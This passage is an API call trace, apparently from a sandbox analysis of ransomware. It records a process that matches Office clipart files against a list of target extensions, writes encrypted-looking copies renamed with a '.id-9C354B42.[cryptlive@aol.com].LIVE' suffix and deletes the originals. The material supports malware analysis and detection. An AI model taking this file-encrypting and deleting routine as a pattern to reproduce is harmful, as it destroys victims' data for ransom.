[0161.152] lstrlenW (lpString=".1cd") returned 4 [0161.152] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF") returned 63 [0161.152] lstrlenW (lpString=".jpg") returned 4 [0161.152] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.152] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0161.153] lstrlenW (lpString="J0153305.WMF") returned 12 [0161.153] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153305.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0161.154] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=38488) returned 1 [0161.154] CloseHandle (hObject=0x1b4) returned 1 [0161.154] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153305.wmf")) returned 0x20 [0161.154] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153305.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0161.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153305.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0161.155] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.155] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153305.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0161.157] GetLastError () returned 0x0 [0161.157] ReadFile (in: hFile=0x1b4, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x9658, lpOverlapped=0x0) returned 1 [0161.160] WriteFile (in: hFile=0x1dc, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x9660, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x9660, lpOverlapped=0x0) returned 1 [0161.162] ReadFile (in: hFile=0x1b4, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0161.162] WriteFile (in: hFile=0x1dc, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0161.162] SetEndOfFile (hFile=0x1dc) returned 1 [0161.162] CloseHandle (hObject=0x1dc) returned 1 [0161.162] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.162] SetEndOfFile (hFile=0x1b4) returned 1 [0161.167] CloseHandle (hObject=0x1b4) returned 1 [0161.167] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0161.167] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153305.wmf")) returned 1 [0161.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF") returned 63 [0161.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF") returned 63 [0161.169] lstrlenW (lpString=".doc") returned 4 [0161.169] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.169] lstrlenW (lpString=".docx") returned 5 [0161.169] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0161.169] lstrlenW (lpString=".pdf") returned 4 [0161.169] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.169] lstrlenW (lpString=".xls") returned 4 [0161.169] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.170] lstrlenW (lpString=".xlsx") returned 5 [0161.170] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0161.170] lstrlenW (lpString=".ppt") returned 4 [0161.170] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF") returned 63 [0161.170] lstrlenW (lpString=".zip") returned 4 [0161.170] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.170] lstrlenW (lpString=".rar") returned 4 [0161.170] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.170] lstrlenW (lpString=".bz2") returned 4 [0161.170] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.170] lstrlenW (lpString=".7z") returned 3 [0161.170] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF") returned 63 [0161.170] lstrlenW (lpString=".dbf") returned 4 [0161.170] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF") returned 63 [0161.170] lstrlenW (lpString=".1cd") returned 4 [0161.170] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF") returned 63 [0161.170] lstrlenW (lpString=".jpg") returned 4 [0161.170] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF") returned 63 [0161.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF") returned 63 [0161.171] lstrlenW (lpString=".doc") returned 4 [0161.171] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.171] lstrlenW (lpString=".docx") returned 5 [0161.171] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0161.171] lstrlenW (lpString=".pdf") returned 4 [0161.171] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.171] lstrlenW (lpString=".xls") returned 4 [0161.171] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.171] lstrlenW (lpString=".xlsx") returned 5 [0161.171] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0161.171] lstrlenW (lpString=".ppt") returned 4 [0161.171] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF") returned 63 [0161.171] lstrlenW (lpString=".zip") returned 4 [0161.171] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.171] lstrlenW (lpString=".rar") returned 4 [0161.171] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.171] lstrlenW (lpString=".bz2") returned 4 [0161.171] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.171] lstrlenW (lpString=".7z") returned 3 [0161.171] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF") returned 63 [0161.171] lstrlenW (lpString=".dbf") returned 4 [0161.171] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF") returned 63 [0161.172] lstrlenW (lpString=".1cd") returned 4 [0161.172] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF") returned 63 [0161.172] lstrlenW (lpString=".jpg") returned 4 [0161.172] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.172] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0161.172] lstrlenW (lpString="J0153307.WMF") returned 12 [0161.172] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153307.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0161.173] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=15448) returned 1 [0161.174] CloseHandle (hObject=0x1b4) returned 1 [0161.174] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153307.wmf")) returned 0x20 [0161.174] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153307.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0161.174] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153307.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0161.175] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.175] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.175] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153307.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0161.176] GetLastError () returned 0x0 [0161.176] ReadFile (in: hFile=0x1b4, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x3c58, lpOverlapped=0x0) returned 1 [0161.179] WriteFile (in: hFile=0x1dc, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x3c60, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x3c60, lpOverlapped=0x0) returned 1 [0161.180] ReadFile (in: hFile=0x1b4, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0161.180] WriteFile (in: hFile=0x1dc, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0161.181] SetEndOfFile (hFile=0x1dc) returned 1 [0161.181] CloseHandle (hObject=0x1dc) returned 1 [0161.181] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.181] SetEndOfFile (hFile=0x1b4) returned 1 [0161.184] CloseHandle (hObject=0x1b4) returned 1 [0161.184] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0161.185] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153307.wmf")) returned 1 [0161.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF") returned 63 [0161.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF") returned 63 [0161.187] lstrlenW (lpString=".doc") returned 4 [0161.187] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.187] lstrlenW (lpString=".docx") returned 5 [0161.187] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0161.187] lstrlenW (lpString=".pdf") returned 4 [0161.187] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.187] lstrlenW (lpString=".xls") returned 4 [0161.187] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.187] lstrlenW (lpString=".xlsx") returned 5 [0161.187] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0161.187] lstrlenW (lpString=".ppt") returned 4 [0161.187] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF") returned 63 [0161.187] lstrlenW (lpString=".zip") returned 4 [0161.187] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.187] lstrlenW (lpString=".rar") returned 4 [0161.187] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.187] lstrlenW (lpString=".bz2") returned 4 [0161.187] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.187] lstrlenW (lpString=".7z") returned 3 [0161.188] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF") returned 63 [0161.188] lstrlenW (lpString=".dbf") returned 4 [0161.188] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF") returned 63 [0161.188] lstrlenW (lpString=".1cd") returned 4 [0161.188] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF") returned 63 [0161.188] lstrlenW (lpString=".jpg") returned 4 [0161.188] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF") returned 63 [0161.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF") returned 63 [0161.188] lstrlenW (lpString=".doc") returned 4 [0161.188] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.188] lstrlenW (lpString=".docx") returned 5 [0161.188] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0161.188] lstrlenW (lpString=".pdf") returned 4 [0161.188] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.188] lstrlenW (lpString=".xls") returned 4 [0161.188] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.188] lstrlenW (lpString=".xlsx") returned 5 [0161.188] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0161.188] lstrlenW (lpString=".ppt") returned 4 [0161.189] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF") returned 63 [0161.189] lstrlenW (lpString=".zip") returned 4 [0161.189] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.189] lstrlenW (lpString=".rar") returned 4 [0161.189] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.189] lstrlenW (lpString=".bz2") returned 4 [0161.189] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.189] lstrlenW (lpString=".7z") returned 3 [0161.189] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF") returned 63 [0161.189] lstrlenW (lpString=".dbf") returned 4 [0161.189] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF") returned 63 [0161.189] lstrlenW (lpString=".1cd") returned 4 [0161.189] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF") returned 63 [0161.189] lstrlenW (lpString=".jpg") returned 4 [0161.189] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.336] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0161.336] lstrlenW (lpString="J0153313.WMF") returned 12 [0161.336] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153313.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0161.376] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=16952) returned 1 [0161.376] CloseHandle (hObject=0x1e0) returned 1 [0161.377] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153313.wmf")) returned 0x20 [0161.397] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153313.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0161.397] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153313.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0161.397] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.397] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.398] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153313.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0161.399] GetLastError () returned 0x0 [0161.399] ReadFile (in: hFile=0x1e0, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x4238, lpOverlapped=0x0) returned 1 [0161.400] WriteFile (in: hFile=0x380, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x4240, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x4240, lpOverlapped=0x0) returned 1 [0161.402] ReadFile (in: hFile=0x1e0, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0161.402] WriteFile (in: hFile=0x380, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0161.402] SetEndOfFile (hFile=0x380) returned 1 [0161.402] CloseHandle (hObject=0x380) returned 1 [0161.402] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.402] SetEndOfFile (hFile=0x1e0) returned 1 [0161.405] CloseHandle (hObject=0x1e0) returned 1 [0161.405] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0161.405] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153313.wmf")) returned 1 [0161.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF") returned 63 [0161.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF") returned 63 [0161.406] lstrlenW (lpString=".doc") returned 4 [0161.406] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.406] lstrlenW (lpString=".docx") returned 5 [0161.406] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0161.406] lstrlenW (lpString=".pdf") returned 4 [0161.406] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.406] lstrlenW (lpString=".xls") returned 4 [0161.406] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.406] lstrlenW (lpString=".xlsx") returned 5 [0161.407] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0161.407] lstrlenW (lpString=".ppt") returned 4 [0161.407] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF") returned 63 [0161.407] lstrlenW (lpString=".zip") returned 4 [0161.407] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.407] lstrlenW (lpString=".rar") returned 4 [0161.407] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.407] lstrlenW (lpString=".bz2") returned 4 [0161.407] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.407] lstrlenW (lpString=".7z") returned 3 [0161.407] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF") returned 63 [0161.407] lstrlenW (lpString=".dbf") returned 4 [0161.407] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF") returned 63 [0161.407] lstrlenW (lpString=".1cd") returned 4 [0161.407] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF") returned 63 [0161.407] lstrlenW (lpString=".jpg") returned 4 [0161.407] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF") returned 63 [0161.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF") returned 63 [0161.407] lstrlenW (lpString=".doc") returned 4 [0161.407] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.407] lstrlenW (lpString=".docx") returned 5 [0161.407] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0161.407] lstrlenW (lpString=".pdf") returned 4 [0161.407] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.407] lstrlenW (lpString=".xls") returned 4 [0161.407] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.407] lstrlenW (lpString=".xlsx") returned 5 [0161.408] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0161.408] lstrlenW (lpString=".ppt") returned 4 [0161.408] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF") returned 63 [0161.408] lstrlenW (lpString=".zip") returned 4 [0161.408] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.408] lstrlenW (lpString=".rar") returned 4 [0161.408] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.408] lstrlenW (lpString=".bz2") returned 4 [0161.408] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.408] lstrlenW (lpString=".7z") returned 3 [0161.408] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF") returned 63 [0161.408] lstrlenW (lpString=".dbf") returned 4 [0161.408] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF") returned 63 [0161.408] lstrlenW (lpString=".1cd") returned 4 [0161.408] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF") returned 63 [0161.408] lstrlenW (lpString=".jpg") returned 4 [0161.408] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.408] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0161.409] lstrlenW (lpString="J0153514.WMF") returned 12 [0161.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153514.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, 